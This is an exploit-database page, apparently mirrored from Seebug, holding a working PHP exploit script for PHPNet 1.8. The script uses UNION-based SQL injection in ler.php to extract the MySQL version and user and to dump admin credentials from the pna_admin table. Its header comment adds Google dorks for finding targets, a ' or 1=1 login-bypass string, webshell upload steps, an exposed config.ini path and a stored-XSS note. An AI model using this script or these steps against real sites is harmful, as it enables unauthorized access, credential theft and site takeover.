Lucene search
K

PHPNet <= 1.8 (ler.php) SQL Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

PHPNet <= 1.8 SQL Injection, Login Bypass, Arbitrary File Upload, Information Disclosure, Stored XS

Code

                                                &#60;?php 
# Exploit Title: PHPNet &#60;= 1.8 (ler.php) SQL Injection
# Exploit Author: WhiteCollarGroup
# Date: 06th 06 2012
# Vendor homepage: http://www.phpnet.com.br/
# Software Link: http://phpbrasil.com/script/Wb03ErMczAho/phpnetartigos
# Google Dork: intext:&#34;Powerd by Nielson Rocha&#34;
# Google Dork: inurl:&#34;ler.php?id=&#34; intext:&#34;Voltar - Imprimir&#34;
# Version: 1.8
# Tested on: Debian GNU/Linux,Windows 7 Ultimate

/*
We discovered multiple vulnerabilities on the system.

  ~&#62; SQL Injection
This exploit is for a vulnerability in ler.php, but are the same vulnerability on imprimir.php and imagem.php.
ler.php?id=[SQLi]
imprimir.php?id=[SQLi]
imagem.php?id=[SQLi]

Usage:
php file.php http://server/path/

  ~&#62; Login bypass
In login page, you can bypass the login using &#34;SQLi strings&#34;.
Go to http://server/path/admin/login.php

Login: &#39; or 1=1-- wc
Pass: wcgroup

  ~&#62; Arbitraty File Upload
  After open administration panel, try to add a new article.
  Use the upload form to upload your webshell.
  After posting, access:
  http://server/path/tmp/your_shell_filename.php
  
  ~&#62; Information disclosure
  Access:
  http://server/path/conf/config.ini
  
  ~&#62; XSS Stored (persistent)
  When posting a new article, you can post (D)HTML/Javascript codes on the page.
  
*/
 
function _printf($str) {
    echo $str.&#34;\n&#34;;
}

function hex($string){
    $hex=&#39;&#39;; // PHP &#39;Dim&#39; =]
    for ($i=0; $i &#60; strlen($string); $i++){
        $hex .= dechex(ord($string[$i]));
    }
    return &#39;0x&#39;.$hex;
}

set_time_limit(0);
error_reporting(E_ERROR & E_USER_WARNING);
@ini_set(&#39;default_socket_timeout&#39;, 30);
echo &#34;\n&#34;;
 
echo &#34;PHPNet &#60;= 1.8 SQLi Exploit\n&#34;;
echo &#34;Discovered by WhiteCollarGroup\n&#34;;
echo &#34;www.wcgroup.host56.com - [email protected]&#34;;
if($argc!=2) {
    _printf(&#34;Usage:&#34;);
    _printf(&#34;php $argv[0] &#60;target&#62;&#34;);
    _printf(&#34;Example:&#34;);
    _printf(&#34;php $argv[0] http://site.com/path/&#34;);
    exit;
}

$target = $argv[1];
if(substr($target, (strlen($target)-1))!=&#34;/&#34;) { // se o ultimo caractere nao for uma barra
    $target .= &#34;/&#34;; 
}

$inject = $target . &#34;ler.php?id=-0&#39;%20&#34;; 

$token = uniqid();
$token_hex = hex($token);

// vamos agora obter os seguintes dados: user() version()
echo &#34;\n\n[*] Trying to get informations...\n&#34;;

$infos = file_get_contents($inject.urlencode(&#34;union all select 1,2,3,4,concat(&#34;.$token_hex.&#34;,version(),&#34;.$token_hex.&#34;,user(),&#34;.$token_hex.&#34;),6,7,8-- &#34;));
$infos_r = array();
preg_match_all(&#34;/$token(.*)$token(.*)$token/&#34;, $infos, $infos_r);
$user = $infos_r[1][0];
$version = $infos_r[2][0];
if(($user) AND ($version)) 
{
    echo &#34;[!] MySQL user: $user\n&#34;;
    echo &#34;[!] MySQL version: $version\n&#34;;
} 
else
{
    echo &#34;[-] Error while getting informations...\n&#34;;
}

$i = 0;
while(1==1) {
    $dados_r = array();
    $dados = file_get_contents($inject.urlencode(&#34;union all select 1,2,3,4,concat(&#34;.$token_hex.&#34;,admin_user,&#34;.$token_hex.&#34;,admin_pass,&#34;.$token_hex.&#34;),6,7,8 from pna_admin limit $i,1-- &#34;));
    preg_match_all(&#34;/$token(.*)$token(.*)$token/&#34;, $dados, $dados_r);
    $login = $dados_r[1][0];
    $senha = $dados_r[2][0];
    if(($login) AND ($senha)) {
        echo &#34;    -+-\n&#34;;
        echo &#34;[!] User: $login\n&#34;;
        echo &#34;[!] Pass: $senha\n&#34;;
        $i++;
    } else {
        break; // exitloop
    }
    
    if($i==0) {
        echo &#34;[-] Exploit failed. Make sure that&#39;s server is using a valid version of PHPNet without mod_security. We&#39;re sorry.&#34;;
    } else {
		echo &#34;    -+-\n[!] :D&#34;;
	}
	echo &#34;\n&#34;;
}

?&#62;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation